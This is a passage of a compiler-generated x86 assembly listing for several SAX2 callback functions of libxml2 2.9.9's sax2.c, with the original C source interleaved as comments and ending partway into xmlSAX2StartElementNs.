_xmlSAX2Comment _TEXT SEGMENT _ctx$ = 8 ; size = 4 _value$ = 12 ; size = 4 _xmlSAX2Comment PROC ; COMDAT ; 2743 : { push ebp mov ebp, esp push esi mov ecx, OFFSET __A8525CDE_sax2@c call @__CheckForDebuggerJustMyCode@4 mov esi, DWORD PTR _ctx$[ebp] test esi, esi je $LN13@xmlSAX2Com ; 2744 : xmlParserCtxtPtr ctxt = (xmlParserCtxtPtr) ctx; ; 2745 : xmlNodePtr ret; ; 2746 : xmlNodePtr parent; ; 2747 : ; 2748 : if (ctx == NULL) return; ; 2749 : parent = ctxt->node; ; 2750 : #ifdef DEBUG_SAX ; 2751 : xmlGenericError(xmlGenericErrorContext, "SAX.xmlSAX2Comment(%s)\n", value); ; 2752 : #endif ; 2753 : ret = xmlNewDocComment(ctxt->myDoc, value); push edi push DWORD PTR _value$[ebp] mov edi, DWORD PTR [esi+52] push DWORD PTR [esi+8] call _xmlNewDocComment add esp, 8 ; 2754 : if (ret == NULL) return; test eax, eax je SHORT $LN15@xmlSAX2Com ; 2755 : if (ctxt->linenumbers) { cmp DWORD PTR [esi+280], 0 je SHORT $LN7@xmlSAX2Com ; 2756 : if (ctxt->input != NULL) { mov ecx, DWORD PTR [esi+36] test ecx, ecx je SHORT $LN7@xmlSAX2Com ; 2757 : if (ctxt->input->line < 65535) mov ecx, DWORD PTR [ecx+28] cmp ecx, 65535 ; 0000ffffH jl SHORT $LN16@xmlSAX2Com ; 2758 : ret->line = (short) ctxt->input->line; ; 2759 : else ; 2760 : ret->line = 65535; mov ecx, 65535 ; 0000ffffH $LN16@xmlSAX2Com: ; 2761 : } ; 2762 : } ; 2763 : ; 2764 : if (ctxt->inSubset == 1) { mov WORD PTR [eax+56], cx $LN7@xmlSAX2Com: mov ecx, DWORD PTR [esi+216] push eax cmp ecx, 1 jne SHORT $LN8@xmlSAX2Com ; 2765 : xmlAddChild((xmlNodePtr) ctxt->myDoc->intSubset, ret); mov eax, DWORD PTR [esi+8] push DWORD PTR [eax+44] $LN18@xmlSAX2Com: ; 2780 : #ifdef DEBUG_SAX_TREE ; 2781 : xmlGenericError(xmlGenericErrorContext, ; 2782 : "adding xmlSAX2Comment child to %s\n", parent->name); ; 2783 : #endif ; 2784 : xmlAddChild(parent, ret); ; 2785 : } else { ; 2786 : #ifdef DEBUG_SAX_TREE ; 2787 : xmlGenericError(xmlGenericErrorContext, ; 2788 : "adding xmlSAX2Comment sibling to "); ; 2789 : xmlDebugDumpOneNode(stderr, parent, 0); ; 2790 : #endif ; 2791 : xmlAddSibling(parent, ret); call _xmlAddChild add esp, 8 pop edi pop esi ; 2792 : } ; 2793 : } pop ebp ret 0 $LN8@xmlSAX2Com: ; 2766 : return; ; 2767 : } else if (ctxt->inSubset == 2) { cmp ecx, 2 jne SHORT $LN10@xmlSAX2Com ; 2768 : xmlAddChild((xmlNodePtr) ctxt->myDoc->extSubset, ret); mov eax, DWORD PTR [esi+8] push DWORD PTR [eax+48] call _xmlAddChild ; 2780 : #ifdef DEBUG_SAX_TREE ; 2781 : xmlGenericError(xmlGenericErrorContext, ; 2782 : "adding xmlSAX2Comment child to %s\n", parent->name); ; 2783 : #endif ; 2784 : xmlAddChild(parent, ret); ; 2785 : } else { ; 2786 : #ifdef DEBUG_SAX_TREE ; 2787 : xmlGenericError(xmlGenericErrorContext, ; 2788 : "adding xmlSAX2Comment sibling to "); ; 2789 : xmlDebugDumpOneNode(stderr, parent, 0); ; 2790 : #endif ; 2791 : xmlAddSibling(parent, ret); add esp, 8 pop edi pop esi ; 2792 : } ; 2793 : } pop ebp ret 0 $LN10@xmlSAX2Com: ; 2769 : return; ; 2770 : } ; 2771 : if (parent == NULL) { test edi, edi jne SHORT $LN11@xmlSAX2Com ; 2772 : #ifdef DEBUG_SAX_TREE ; 2773 : xmlGenericError(xmlGenericErrorContext, ; 2774 : "Setting xmlSAX2Comment as root\n"); ; 2775 : #endif ; 2776 : xmlAddChild((xmlNodePtr) ctxt->myDoc, (xmlNodePtr) ret); push DWORD PTR [esi+8] call _xmlAddChild ; 2780 : #ifdef DEBUG_SAX_TREE ; 2781 : xmlGenericError(xmlGenericErrorContext, ; 2782 : "adding xmlSAX2Comment child to %s\n", parent->name); ; 2783 : #endif ; 2784 : xmlAddChild(parent, ret); ; 2785 : } else { ; 2786 : #ifdef DEBUG_SAX_TREE ; 2787 : xmlGenericError(xmlGenericErrorContext, ; 2788 : "adding xmlSAX2Comment sibling to "); ; 2789 : xmlDebugDumpOneNode(stderr, parent, 0); ; 2790 : #endif ; 2791 : xmlAddSibling(parent, ret); add esp, 8 pop edi pop esi ; 2792 : } ; 2793 : } pop ebp ret 0 $LN11@xmlSAX2Com: ; 2777 : return; ; 2778 : } ; 2779 : if (parent->type == XML_ELEMENT_NODE) { cmp DWORD PTR [edi+4], 1 push edi je SHORT $LN18@xmlSAX2Com ; 2780 : #ifdef DEBUG_SAX_TREE ; 2781 : xmlGenericError(xmlGenericErrorContext, ; 2782 : "adding xmlSAX2Comment child to %s\n", parent->name); ; 2783 : #endif ; 2784 : xmlAddChild(parent, ret); ; 2785 : } else { ; 2786 : #ifdef DEBUG_SAX_TREE ; 2787 : xmlGenericError(xmlGenericErrorContext, ; 2788 : "adding xmlSAX2Comment sibling to "); ; 2789 : xmlDebugDumpOneNode(stderr, parent, 0); ; 2790 : #endif ; 2791 : xmlAddSibling(parent, ret); call _xmlAddSibling add esp, 8 $LN15@xmlSAX2Com: pop edi $LN13@xmlSAX2Com: pop esi ; 2792 : } ; 2793 : } pop ebp ret 0 _xmlSAX2Comment ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\sax2.c ; COMDAT _xmlSAX2ProcessingInstruction _TEXT SEGMENT _ctx$ = 8 ; size = 4 _target$ = 12 ; size = 4 _data$ = 16 ; size = 4 _xmlSAX2ProcessingInstruction PROC ; COMDAT ; 2680 : { push ebp mov ebp, esp push esi mov ecx, OFFSET __A8525CDE_sax2@c call @__CheckForDebuggerJustMyCode@4 mov esi, DWORD PTR _ctx$[ebp] test esi, esi je $LN13@xmlSAX2Pro ; 2681 : xmlParserCtxtPtr ctxt = (xmlParserCtxtPtr) ctx; ; 2682 : xmlNodePtr ret; ; 2683 : xmlNodePtr parent; ; 2684 : ; 2685 : if (ctx == NULL) return; ; 2686 : parent = ctxt->node; ; 2687 : #ifdef DEBUG_SAX ; 2688 : xmlGenericError(xmlGenericErrorContext, ; 2689 : "SAX.xmlSAX2ProcessingInstruction(%s, %s)\n", target, data); ; 2690 : #endif ; 2691 : ; 2692 : ret = xmlNewDocPI(ctxt->myDoc, target, data); push edi push DWORD PTR _data$[ebp] mov edi, DWORD PTR [esi+52] push DWORD PTR _target$[ebp] push DWORD PTR [esi+8] call _xmlNewDocPI add esp, 12 ; 0000000cH ; 2693 : if (ret == NULL) return; test eax, eax je SHORT $LN15@xmlSAX2Pro ; 2694 : ; 2695 : if (ctxt->linenumbers) { cmp DWORD PTR [esi+280], 0 je SHORT $LN7@xmlSAX2Pro ; 2696 : if (ctxt->input != NULL) { mov ecx, DWORD PTR [esi+36] test ecx, ecx je SHORT $LN7@xmlSAX2Pro ; 2697 : if (ctxt->input->line < 65535) mov ecx, DWORD PTR [ecx+28] cmp ecx, 65535 ; 0000ffffH jl SHORT $LN16@xmlSAX2Pro ; 2698 : ret->line = (short) ctxt->input->line; ; 2699 : else ; 2700 : ret->line = 65535; mov ecx, 65535 ; 0000ffffH $LN16@xmlSAX2Pro: ; 2701 : } ; 2702 : } ; 2703 : if (ctxt->inSubset == 1) { mov WORD PTR [eax+56], cx $LN7@xmlSAX2Pro: mov ecx, DWORD PTR [esi+216] push eax cmp ecx, 1 jne SHORT $LN8@xmlSAX2Pro ; 2704 : xmlAddChild((xmlNodePtr) ctxt->myDoc->intSubset, ret); mov eax, DWORD PTR [esi+8] push DWORD PTR [eax+44] $LN18@xmlSAX2Pro: ; 2719 : #ifdef DEBUG_SAX_TREE ; 2720 : xmlGenericError(xmlGenericErrorContext, ; 2721 : "adding PI %s child to %s\n", target, parent->name); ; 2722 : #endif ; 2723 : xmlAddChild(parent, ret); ; 2724 : } else { ; 2725 : #ifdef DEBUG_SAX_TREE ; 2726 : xmlGenericError(xmlGenericErrorContext, ; 2727 : "adding PI %s sibling to ", target); ; 2728 : xmlDebugDumpOneNode(stderr, parent, 0); ; 2729 : #endif ; 2730 : xmlAddSibling(parent, ret); call _xmlAddChild add esp, 8 pop edi pop esi ; 2731 : } ; 2732 : } pop ebp ret 0 $LN8@xmlSAX2Pro: ; 2705 : return; ; 2706 : } else if (ctxt->inSubset == 2) { cmp ecx, 2 jne SHORT $LN10@xmlSAX2Pro ; 2707 : xmlAddChild((xmlNodePtr) ctxt->myDoc->extSubset, ret); mov eax, DWORD PTR [esi+8] push DWORD PTR [eax+48] call _xmlAddChild ; 2719 : #ifdef DEBUG_SAX_TREE ; 2720 : xmlGenericError(xmlGenericErrorContext, ; 2721 : "adding PI %s child to %s\n", target, parent->name); ; 2722 : #endif ; 2723 : xmlAddChild(parent, ret); ; 2724 : } else { ; 2725 : #ifdef DEBUG_SAX_TREE ; 2726 : xmlGenericError(xmlGenericErrorContext, ; 2727 : "adding PI %s sibling to ", target); ; 2728 : xmlDebugDumpOneNode(stderr, parent, 0); ; 2729 : #endif ; 2730 : xmlAddSibling(parent, ret); add esp, 8 pop edi pop esi ; 2731 : } ; 2732 : } pop ebp ret 0 $LN10@xmlSAX2Pro: ; 2708 : return; ; 2709 : } ; 2710 : if (parent == NULL) { test edi, edi jne SHORT $LN11@xmlSAX2Pro ; 2711 : #ifdef DEBUG_SAX_TREE ; 2712 : xmlGenericError(xmlGenericErrorContext, ; 2713 : "Setting PI %s as root\n", target); ; 2714 : #endif ; 2715 : xmlAddChild((xmlNodePtr) ctxt->myDoc, (xmlNodePtr) ret); push DWORD PTR [esi+8] call _xmlAddChild ; 2719 : #ifdef DEBUG_SAX_TREE ; 2720 : xmlGenericError(xmlGenericErrorContext, ; 2721 : "adding PI %s child to %s\n", target, parent->name); ; 2722 : #endif ; 2723 : xmlAddChild(parent, ret); ; 2724 : } else { ; 2725 : #ifdef DEBUG_SAX_TREE ; 2726 : xmlGenericError(xmlGenericErrorContext, ; 2727 : "adding PI %s sibling to ", target); ; 2728 : xmlDebugDumpOneNode(stderr, parent, 0); ; 2729 : #endif ; 2730 : xmlAddSibling(parent, ret); add esp, 8 pop edi pop esi ; 2731 : } ; 2732 : } pop ebp ret 0 $LN11@xmlSAX2Pro: ; 2716 : return; ; 2717 : } ; 2718 : if (parent->type == XML_ELEMENT_NODE) { cmp DWORD PTR [edi+4], 1 push edi je SHORT $LN18@xmlSAX2Pro ; 2719 : #ifdef DEBUG_SAX_TREE ; 2720 : xmlGenericError(xmlGenericErrorContext, ; 2721 : "adding PI %s child to %s\n", target, parent->name); ; 2722 : #endif ; 2723 : xmlAddChild(parent, ret); ; 2724 : } else { ; 2725 : #ifdef DEBUG_SAX_TREE ; 2726 : xmlGenericError(xmlGenericErrorContext, ; 2727 : "adding PI %s sibling to ", target); ; 2728 : xmlDebugDumpOneNode(stderr, parent, 0); ; 2729 : #endif ; 2730 : xmlAddSibling(parent, ret); call _xmlAddSibling add esp, 8 $LN15@xmlSAX2Pro: pop edi $LN13@xmlSAX2Pro: pop esi ; 2731 : } ; 2732 : } pop ebp ret 0 _xmlSAX2ProcessingInstruction ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\sax2.c ; COMDAT _xmlSAX2IgnorableWhitespace _TEXT SEGMENT _ctx$ = 8 ; size = 4 _ch$ = 12 ; size = 4 _len$ = 16 ; size = 4 _xmlSAX2IgnorableWhitespace PROC ; COMDAT mov ecx, OFFSET __A8525CDE_sax2@c jmp @__CheckForDebuggerJustMyCode@4 _xmlSAX2IgnorableWhitespace ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\sax2.c ; COMDAT _xmlSAX2Characters _TEXT SEGMENT tv605 = 8 ; size = 4 _ctx$ = 8 ; size = 4 _ch$ = 12 ; size = 4 _len$ = 16 ; size = 4 _xmlSAX2Characters PROC ; COMDAT ; 2533 : { push ebp mov ebp, esp push esi mov ecx, OFFSET __A8525CDE_sax2@c call @__CheckForDebuggerJustMyCode@4 mov esi, DWORD PTR _ctx$[ebp] test esi, esi je $LN24@xmlSAX2Cha ; 2534 : xmlParserCtxtPtr ctxt = (xmlParserCtxtPtr) ctx; ; 2535 : xmlNodePtr lastChild; ; 2536 : ; 2537 : if (ctx == NULL) return; ; 2538 : #ifdef DEBUG_SAX ; 2539 : xmlGenericError(xmlGenericErrorContext, ; 2540 : "SAX.xmlSAX2Characters(%.30s, %d)\n", ch, len); ; 2541 : #endif ; 2542 : /* ; 2543 : * Handle the data if any. If there is no child ; 2544 : * add it as content, otherwise if the last child is text, ; 2545 : * concatenate it, else create a new node of type text. ; 2546 : */ ; 2547 : ; 2548 : if (ctxt->node == NULL) { push edi mov edi, DWORD PTR [esi+52] test edi, edi je $LN30@xmlSAX2Cha ; 2549 : #ifdef DEBUG_SAX_TREE ; 2550 : xmlGenericError(xmlGenericErrorContext, ; 2551 : "add chars: ctxt->node == NULL !\n"); ; 2552 : #endif ; 2553 : return; ; 2554 : } ; 2555 : lastChild = ctxt->node->last; mov edi, DWORD PTR [edi+16] push ebx ; 2556 : #ifdef DEBUG_SAX_TREE ; 2557 : xmlGenericError(xmlGenericErrorContext, ; 2558 : "add chars to %s \n", ctxt->node->name); ; 2559 : #endif ; 2560 : ; 2561 : /* ; 2562 : * Here we needed an accelerator mechanism in case of very large ; 2563 : * elements. Use an attribute in the structure !!! ; 2564 : */ ; 2565 : if (lastChild == NULL) { test edi, edi jne SHORT $LN4@xmlSAX2Cha ; 2566 : lastChild = xmlSAX2TextNode(ctxt, ch, len); mov edi, DWORD PTR _len$[ebp] push edi push DWORD PTR _ch$[ebp] push esi call _xmlSAX2TextNode mov edx, eax add esp, 12 ; 0000000cH ; 2567 : if (lastChild != NULL) { test edx, edx je $LN29@xmlSAX2Cha ; 2568 : ctxt->node->children = lastChild; mov ecx, DWORD PTR [esi+52] pop ebx mov DWORD PTR [ecx+12], edx ; 2569 : ctxt->node->last = lastChild; mov ecx, DWORD PTR [esi+52] mov DWORD PTR [ecx+16], edx ; 2570 : lastChild->parent = ctxt->node; mov ecx, DWORD PTR [esi+52] mov DWORD PTR [edx+20], ecx ; 2571 : lastChild->doc = ctxt->node->doc; mov eax, DWORD PTR [esi+52] mov eax, DWORD PTR [eax+32] mov DWORD PTR [edx+32], eax ; 2642 : ctxt->nodelen = len; ; 2643 : ctxt->nodemem = len + 1; lea eax, DWORD PTR [edi+1] mov DWORD PTR [esi+260], edi pop edi mov DWORD PTR [esi+264], eax pop esi ; 2644 : } ; 2645 : } ; 2646 : } ; 2647 : } ; 2648 : } pop ebp ret 0 $LN4@xmlSAX2Cha: ; 2572 : ctxt->nodelen = len; ; 2573 : ctxt->nodemem = len + 1; ; 2574 : } else { ; 2575 : xmlSAX2ErrMemory(ctxt, "xmlSAX2Characters"); ; 2576 : return; ; 2577 : } ; 2578 : } else { ; 2579 : int coalesceText = (lastChild != NULL) && cmp DWORD PTR [edi+4], 3 jne $LN19@xmlSAX2Cha cmp DWORD PTR [edi+8], OFFSET _xmlStringText jne $LN19@xmlSAX2Cha ; 2580 : (lastChild->type == XML_TEXT_NODE) && ; 2581 : (lastChild->name == xmlStringText); ; 2582 : if ((coalesceText) && (ctxt->nodemem != 0)) { mov edx, DWORD PTR [esi+264] test edx, edx je $LN8@xmlSAX2Cha ; 2583 : /* ; 2584 : * The whole point of maintaining nodelen and nodemem, ; 2585 : * xmlTextConcat is too costly, i.e. compute length, ; 2586 : * reallocate a new buffer, move data, append ch. Here ; 2587 : * We try to minimaze realloc() uses and avoid copying ; 2588 : * and recomputing length over and over. ; 2589 : */ ; 2590 : if (lastChild->content == (xmlChar *)&(lastChild->properties)) { mov ecx, DWORD PTR [edi+40] lea ebx, DWORD PTR [edi+44] cmp ecx, ebx jne SHORT $LN10@xmlSAX2Cha ; 2591 : lastChild->content = xmlStrdup(lastChild->content); push ecx call _xmlStrdup ; 2592 : lastChild->properties = NULL; mov DWORD PTR [ebx], 0 jmp SHORT $LN33@xmlSAX2Cha $LN10@xmlSAX2Cha: ; 2593 : } else if ((ctxt->nodemem == ctxt->nodelen + 1) && mov eax, DWORD PTR [esi+260] inc eax cmp edx, eax jne SHORT $LN12@xmlSAX2Cha push ecx push DWORD PTR [esi+296] call _xmlDictOwns add esp, 8 test eax, eax je SHORT $LN12@xmlSAX2Cha ; 2594 : (xmlDictOwns(ctxt->dict, lastChild->content))) { ; 2595 : lastChild->content = xmlStrdup(lastChild->content); push DWORD PTR [edi+40] call _xmlStrdup $LN33@xmlSAX2Cha: ; 2596 : } ; 2597 : if (lastChild->content == NULL) { mov DWORD PTR [edi+40], eax add esp, 4 $LN12@xmlSAX2Cha: mov ecx, DWORD PTR [edi+40] test ecx, ecx jne SHORT $LN13@xmlSAX2Cha ; 2598 : xmlSAX2ErrMemory(ctxt, "xmlSAX2Characters: xmlStrdup returned NULL"); push OFFSET ??_C@_0CL@EDPCIJGK@xmlSAX2Characters?3?5xmlStrdup?5re@ push esi call _xmlSAX2ErrMemory add esp, 8 pop ebx pop edi pop esi ; 2644 : } ; 2645 : } ; 2646 : } ; 2647 : } ; 2648 : } pop ebp ret 0 $LN13@xmlSAX2Cha: ; 2599 : return; ; 2600 : } ; 2601 : if (((size_t)ctxt->nodelen + (size_t)len > XML_MAX_TEXT_LENGTH) && mov edx, DWORD PTR [esi+260] mov ebx, DWORD PTR _len$[ebp] lea eax, DWORD PTR [edx+ebx] cmp eax, 10000000 ; 00989680H jbe SHORT $LN14@xmlSAX2Cha test DWORD PTR [esi+360], 524288 ; 00080000H jne SHORT $LN14@xmlSAX2Cha ; 2602 : ((ctxt->options & XML_PARSE_HUGE) == 0)) { ; 2603 : xmlSAX2ErrMemory(ctxt, "xmlSAX2Characters: huge text node"); push OFFSET ??_C@_0CC@PCIHKIPC@xmlSAX2Characters?3?5huge?5text?5no@ push esi call _xmlSAX2ErrMemory add esp, 8 pop ebx pop edi pop esi ; 2644 : } ; 2645 : } ; 2646 : } ; 2647 : } ; 2648 : } pop ebp ret 0 $LN14@xmlSAX2Cha: ; 2604 : return; ; 2605 : } ; 2606 : if ((size_t)ctxt->nodelen > SIZE_T_MAX - (size_t)len || mov eax, ebx not eax cmp edx, eax ja $LN16@xmlSAX2Cha mov eax, DWORD PTR [esi+264] add eax, ebx mov DWORD PTR tv605[ebp], eax cmp eax, 2147483647 ; 7fffffffH ja SHORT $LN16@xmlSAX2Cha ; 2609 : return; ; 2610 : } ; 2611 : if (ctxt->nodelen + len >= ctxt->nodemem) { lea eax, DWORD PTR [edx+ebx] cmp eax, DWORD PTR [esi+264] jl SHORT $LN17@xmlSAX2Cha ; 2612 : xmlChar *newbuf; ; 2613 : size_t size; ; 2614 : ; 2615 : size = ctxt->nodemem + len; ; 2616 : size *= 2; mov eax, DWORD PTR tv605[ebp] add eax, eax ; 2617 : newbuf = (xmlChar *) xmlRealloc(lastChild->content,size); push eax push ecx call DWORD PTR _xmlRealloc mov ecx, eax add esp, 8 ; 2618 : if (newbuf == NULL) { test ecx, ecx jne SHORT $LN18@xmlSAX2Cha $LN29@xmlSAX2Cha: ; 2619 : xmlSAX2ErrMemory(ctxt, "xmlSAX2Characters"); push OFFSET ??_C@_0BC@IJLHKBBO@xmlSAX2Characters@ push esi call _xmlSAX2ErrMemory add esp, 8 pop ebx pop edi pop esi ; 2644 : } ; 2645 : } ; 2646 : } ; 2647 : } ; 2648 : } pop ebp ret 0 $LN18@xmlSAX2Cha: ; 2620 : return; ; 2621 : } ; 2622 : ctxt->nodemem = size; mov edx, DWORD PTR tv605[ebp] lea eax, DWORD PTR [edx+edx] mov DWORD PTR [esi+264], eax ; 2623 : lastChild->content = newbuf; mov DWORD PTR [edi+40], ecx mov edx, DWORD PTR [esi+260] $LN17@xmlSAX2Cha: ; 2624 : } ; 2625 : memcpy(&lastChild->content[ctxt->nodelen], ch, len); push ebx push DWORD PTR _ch$[ebp] lea eax, DWORD PTR [ecx+edx] push eax call _memcpy add esp, 12 ; 0000000cH ; 2626 : ctxt->nodelen += len; add DWORD PTR [esi+260], ebx mov ecx, DWORD PTR [esi+260] ; 2627 : lastChild->content[ctxt->nodelen] = 0; mov eax, DWORD PTR [edi+40] pop ebx pop edi mov BYTE PTR [ecx+eax], 0 pop esi ; 2644 : } ; 2645 : } ; 2646 : } ; 2647 : } ; 2648 : } pop ebp ret 0 $LN16@xmlSAX2Cha: ; 2607 : (size_t)ctxt->nodemem + (size_t)len > SIZE_T_MAX / 2) { ; 2608 : xmlSAX2ErrMemory(ctxt, "xmlSAX2Characters overflow prevented"); push OFFSET ??_C@_0CF@EADJOGLP@xmlSAX2Characters?5overflow?5prev@ push esi call _xmlSAX2ErrMemory add esp, 8 pop ebx pop edi pop esi ; 2644 : } ; 2645 : } ; 2646 : } ; 2647 : } ; 2648 : } pop ebp ret 0 $LN8@xmlSAX2Cha: ; 2628 : } else if (coalesceText) { ; 2629 : if (xmlTextConcat(lastChild, ch, len)) { push DWORD PTR _len$[ebp] push DWORD PTR _ch$[ebp] push edi call _xmlTextConcat add esp, 12 ; 0000000cH test eax, eax je SHORT $LN21@xmlSAX2Cha ; 2630 : xmlSAX2ErrMemory(ctxt, "xmlSAX2Characters"); push OFFSET ??_C@_0BC@IJLHKBBO@xmlSAX2Characters@ push esi call _xmlSAX2ErrMemory add esp, 8 $LN21@xmlSAX2Cha: ; 2631 : } ; 2632 : if (ctxt->node->children != NULL) { mov eax, DWORD PTR [esi+52] cmp DWORD PTR [eax+12], 0 je SHORT $LN31@xmlSAX2Cha ; 2633 : ctxt->nodelen = xmlStrlen(lastChild->content); push DWORD PTR [edi+40] call _xmlStrlen add esp, 4 mov DWORD PTR [esi+260], eax ; 2634 : ctxt->nodemem = ctxt->nodelen + 1; inc eax ; 2642 : ctxt->nodelen = len; ; 2643 : ctxt->nodemem = len + 1; mov DWORD PTR [esi+264], eax pop ebx pop edi pop esi ; 2644 : } ; 2645 : } ; 2646 : } ; 2647 : } ; 2648 : } pop ebp ret 0 $LN19@xmlSAX2Cha: ; 2635 : } ; 2636 : } else { ; 2637 : /* Mixed content, first time */ ; 2638 : lastChild = xmlSAX2TextNode(ctxt, ch, len); mov edi, DWORD PTR _len$[ebp] push edi push DWORD PTR _ch$[ebp] push esi call _xmlSAX2TextNode add esp, 12 ; 0000000cH ; 2639 : if (lastChild != NULL) { test eax, eax je SHORT $LN31@xmlSAX2Cha ; 2640 : xmlAddChild(ctxt->node, lastChild); push eax push DWORD PTR [esi+52] call _xmlAddChild ; 2641 : if (ctxt->node->children != NULL) { mov eax, DWORD PTR [esi+52] add esp, 8 cmp DWORD PTR [eax+12], 0 je SHORT $LN31@xmlSAX2Cha ; 2642 : ctxt->nodelen = len; ; 2643 : ctxt->nodemem = len + 1; lea eax, DWORD PTR [edi+1] mov DWORD PTR [esi+260], edi mov DWORD PTR [esi+264], eax $LN31@xmlSAX2Cha: pop ebx $LN30@xmlSAX2Cha: pop edi $LN24@xmlSAX2Cha: pop esi ; 2644 : } ; 2645 : } ; 2646 : } ; 2647 : } ; 2648 : } pop ebp ret 0 _xmlSAX2Characters ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\sax2.c ; COMDAT _xmlSAX2Reference _TEXT SEGMENT _ctx$ = 8 ; size = 4 _name$ = 12 ; size = 4 _xmlSAX2Reference PROC ; COMDAT ; 2501 : { push ebp mov ebp, esp push esi mov ecx, OFFSET __A8525CDE_sax2@c call @__CheckForDebuggerJustMyCode@4 mov esi, DWORD PTR _ctx$[ebp] test esi, esi je SHORT $LN5@xmlSAX2Ref ; 2502 : xmlParserCtxtPtr ctxt = (xmlParserCtxtPtr) ctx; ; 2503 : xmlNodePtr ret; ; 2504 : ; 2505 : if (ctx == NULL) return; ; 2506 : #ifdef DEBUG_SAX ; 2507 : xmlGenericError(xmlGenericErrorContext, ; 2508 : "SAX.xmlSAX2Reference(%s)\n", name); ; 2509 : #endif ; 2510 : if (name[0] == '#') mov eax, DWORD PTR _name$[ebp] mov ecx, DWORD PTR [esi+8] push edi push eax cmp BYTE PTR [eax], 35 ; 00000023H push ecx jne SHORT $LN3@xmlSAX2Ref ; 2511 : ret = xmlNewCharRef(ctxt->myDoc, name); call _xmlNewCharRef jmp SHORT $LN8@xmlSAX2Ref $LN3@xmlSAX2Ref: ; 2512 : else ; 2513 : ret = xmlNewReference(ctxt->myDoc, name); call _xmlNewReference $LN8@xmlSAX2Ref: ; 2514 : #ifdef DEBUG_SAX_TREE ; 2515 : xmlGenericError(xmlGenericErrorContext, ; 2516 : "add xmlSAX2Reference %s to %s \n", name, ctxt->node->name); ; 2517 : #endif ; 2518 : if (xmlAddChild(ctxt->node, ret) == NULL) { add esp, 8 mov edi, eax push edi push DWORD PTR [esi+52] call _xmlAddChild add esp, 8 test eax, eax jne SHORT $LN7@xmlSAX2Ref ; 2519 : xmlFreeNode(ret); push edi call _xmlFreeNode add esp, 4 $LN7@xmlSAX2Ref: pop edi $LN5@xmlSAX2Ref: pop esi ; 2520 : } ; 2521 : } pop ebp ret 0 _xmlSAX2Reference ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\sax2.c ; COMDAT _xmlSAX2EndElementNs _TEXT SEGMENT _node_info$ = -20 ; size = 20 _ctx$ = 8 ; size = 4 _localname$ = 12 ; size = 4 _prefix$ = 16 ; size = 4 _URI$ = 20 ; size = 4 _xmlSAX2EndElementNs PROC ; COMDAT ; 2464 : { push ebp mov ebp, esp sub esp, 20 ; 00000014H mov ecx, OFFSET __A8525CDE_sax2@c push esi call @__CheckForDebuggerJustMyCode@4 mov esi, DWORD PTR _ctx$[ebp] test esi, esi je SHORT $LN1@xmlSAX2End ; 2465 : xmlParserCtxtPtr ctxt = (xmlParserCtxtPtr) ctx; ; 2466 : xmlParserNodeInfo node_info; ; 2467 : xmlNodePtr cur; ; 2468 : ; 2469 : if (ctx == NULL) return; ; 2470 : cur = ctxt->node; cmp DWORD PTR [esi+68], 0 push edi mov edi, DWORD PTR [esi+52] ; 2471 : /* Capture end position and add node */ ; 2472 : if ((ctxt->record_info) && (cur != NULL)) { je SHORT $LN3@xmlSAX2End test edi, edi je SHORT $LN3@xmlSAX2End ; 2473 : node_info.end_pos = ctxt->input->cur - ctxt->input->base; mov ecx, DWORD PTR [esi+36] mov eax, DWORD PTR [ecx+16] sub eax, DWORD PTR [ecx+12] mov DWORD PTR _node_info$[ebp+12], eax ; 2474 : node_info.end_line = ctxt->input->line; mov eax, DWORD PTR [ecx+28] mov DWORD PTR _node_info$[ebp+16], eax ; 2475 : node_info.node = cur; ; 2476 : xmlParserAddNodeInfo(ctxt, &node_info); lea eax, DWORD PTR _node_info$[ebp] push eax push esi mov DWORD PTR _node_info$[ebp], edi call _xmlParserAddNodeInfo add esp, 8 $LN3@xmlSAX2End: ; 2477 : } ; 2478 : ctxt->nodemem = -1; ; 2479 : ; 2480 : #ifdef LIBXML_VALID_ENABLED ; 2481 : if (ctxt->validate && ctxt->wellFormed && ; 2482 : ctxt->myDoc && ctxt->myDoc->intSubset) cmp DWORD PTR [esi+104], 0 mov DWORD PTR [esi+264], -1 je SHORT $LN4@xmlSAX2End cmp DWORD PTR [esi+12], 0 je SHORT $LN4@xmlSAX2End mov eax, DWORD PTR [esi+8] test eax, eax je SHORT $LN4@xmlSAX2End cmp DWORD PTR [eax+44], 0 je SHORT $LN4@xmlSAX2End ; 2483 : ctxt->valid &= xmlValidateOneElement(&ctxt->vctxt, ctxt->myDoc, cur); push edi push eax lea eax, DWORD PTR [esi+108] push eax call _xmlValidateOneElement add esp, 12 ; 0000000cH and DWORD PTR [esi+100], eax $LN4@xmlSAX2End: ; 2484 : #endif /* LIBXML_VALID_ENABLED */ ; 2485 : ; 2486 : /* ; 2487 : * end of parsing of this node. ; 2488 : */ ; 2489 : nodePop(ctxt); push esi call _nodePop add esp, 4 pop edi $LN1@xmlSAX2End: pop esi ; 2490 : } mov esp, ebp pop ebp ret 0 _xmlSAX2EndElementNs ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\sax2.c ; COMDAT _xmlSAX2StartElementNs _TEXT SEGMENT _i$1$ = -12 ; size = 4 $T1 = -8 ; size = 4 _uri$1$ = -8 ; size = 4 _last$1$ = -4 ; size = 4 _parent$1$ = 8 ; size = 4 _nb_attributes$1$ = 8 ; size = 4 _ctx$ = 8 ; size = 4 _localname$ = 12 ; size = 4 _prefix$ = 16 ; size = 4 _URI$ = 20 ; size = 4 _nb_namespaces$ = 24 ; size = 4 _namespaces$ = 28 ; size = 4 _nb_attributes$ = 32 ; size = 4 _nb_defaulted$ = 36 ; size = 4 _attributes$ = 40 ; size = 4 _xmlSAX2StartElementNs PROC ; COMDAT ; 2217 : { push ebp mov ebp, esp sub esp, 12 ; 0000000cH push esi mov esi, DWORD PTR _ctx$[ebp] mov ecx, OFFSET __A8525CDE_sax2@c call @__CheckForDebuggerJustMyCode@4 xor eax, eax mov DWORD 